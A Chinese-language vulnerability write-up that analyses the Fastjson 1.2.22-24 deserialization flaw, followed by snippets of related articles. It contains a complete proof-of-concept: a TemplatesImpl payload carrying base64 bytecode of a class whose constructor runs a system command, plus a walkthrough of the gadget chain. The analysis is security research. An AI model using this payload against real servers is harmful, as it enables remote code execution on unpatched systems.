Fastjson 1.2.22-24 反序列化漏洞分析

0x00 简单介绍

介绍:FastJson是一款由阿里开发的JSON库

影响版本:1.2.22-24

官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315

补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

FastJson的简单使用

先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类,Student.java:

package ka1n4t.test;

public class Student {
    public String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:

package ka1n4t.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.JSONObject;

public class learnFJ {
    public static void main(String args[]) {
        String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}";
        Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj1.getName());
    }
}

结果:

0x01 原理分析

分析POC

先看一下用于反序列化的恶意类evilClass1.java:

package ka1n4t.poc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public evilClass1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void main(String[] args) throws IOException {
        evilClass1 helloworld = new evilClass1();
    }
}

其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:

package ka1n4t.poc;

import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class vulApp1 {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }

        String result = Base64.encodeBase64String(bos.toByteArray());

        return result;
    }

    public static void bad_method() {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
        String evil_code = readClass(evil_path);

        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "‘_name‘:‘a.b‘," +
                "‘_tfactory‘:{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    public static void main(String args[]) {
        bad_method();
    }

}

核心部分:

String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "‘_name‘:‘a.b‘," +
                "‘_tfactory‘:{ }," +
                "\"_outputProperties\":{ }}\n";

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

_bytecodes是经过base64编码的evilClass1的字节码文件,NASTY_CLASS是TemplatesImpl类。总结一下这个payload,利用JSON.parseObject反序列化TemplatesImpl类,其中_bytecodes属性是经过base64编码的恶意类字节码文件。

调试分析

下面来分析一下反序列化TemplatesImpl的调用链,首先调用其getOutputProperties()方法:

然后下面经过java的反射机制,然后到达TemplatesImpl类:

跟进newTransformer()方法,这个方法是用于创建一个Transformer实例。然后到达getTransletInstance()方法:

getTransletInstance()方法用于创建一个translet实例,返回这个translet给newTransformer(),然后被包裹成Transformer对象。跟进一下这个方法,发现其调用了defineTransletClasses()用来加载_bytecodes中的类,接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化:

先跟进一下defineTransletClasses方法:

可以看到,使用了loader.defineClass()方法用于加载_bytecodes的内容,并将返回的类赋值给_class[i](这里的i是0)。loader是TemplatesImpl自定义的类,跟进一下:

可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,跟进其defineClass方法,发现直接调用了父类ClassLoader中的方法,所以就不再跟进了。

回到defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0],然后结束,回到getTransletInstance方法,再看一下图:

可以看到,455行直接使用了_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload:

0x02 复现过程

从github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打开工程,编译test.java:

然后会在target/classes/person下生成test.class文件。用同样的方法编译Poc.java。

配置运行方式

运行Poc:

0x03 参考文章

1.廖新喜 fastjson 远程反序列化poc的构造和分析

2.Freebuf Fastjson 1.2.24反序列化漏洞分析

原文地址:https://www.cnblogs.com/litlife/p/9986427.html

时间: 2024-10-08 14:12:23

Fastjson 1.2.22-24 反序列化漏洞分析的相关文章

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

php反序列化漏洞绕过魔术方法 __wakeup

0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() 1 <?php 2 $test1 = "hello world"; 3 $test2 = array("hello"

java反序列化漏洞原理研习

零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,作为狼群中的哈士奇希望成功的继续伪装下去,不被识破,哈哈哈哈!!! 参考文档:感谢所有参考文献的作者: 1.https://www.cnblogs.com/bencakes/p/6139477.html 2.https://www.cnblogs.com/ssoo

Java反序列化漏洞的挖掘、攻击与防御

一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一些特征: (1)TCP:必有aced0005,这个16进制流基本上也意味者java反序列化的开始: (2)HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果: 以上意味着存在Java反序列化,可尝试构造payload进行攻击. 2.黑盒java的RMI: rmi是java的

一个简单的远程溢出漏洞分析

人生第一个漏洞分析,好激动. 因为从来没有接触过漏洞分析方面,以前也只是看过一点书,所以一直想找个东西练练手,结果翻到了看雪Exploit me的题目,本来以为会很难,结果还是很基础的,适合我这样的新手练手. http://bbs.pediy.com/showthread.php?t=56998 进入正题 首先拿到了一个Windows程序,拖到IDA里打算看一下,结果发现程序逻辑出乎意料的简单.就是一个很常规的SOCKET流程带有一些错误处理. 下面详细说明. mov ebp,eax test

WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁;10.3.6以下的版本需要升级至10.3.6 然后在补丁升级. 一.查看版本 1.用下面命令重配环境变量D:\Oracle\Middleware\wlserver_10.3\server\binsetWLSEnv.cmd 1.1.查看weblogic version D:\Oracle\Middleware\uti

FastJson 解析、序列化及反序列化

一.环境准备:使用maven特性在pom.xml中导入fastjson的依赖包 <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.47</version>

(单例设计模式之一)饿汉式的反射与反序列化漏洞

1.闲话少说,直接上代码. import java.io.Serializable;//饿汉式public class Singleton01 implements Serializable{    //1.私有的属性    private static Singleton01 instance=new Singleton01();    //2.私有的构造器    private Singleton01(){}    //3.共有的get()方法    public static  Singl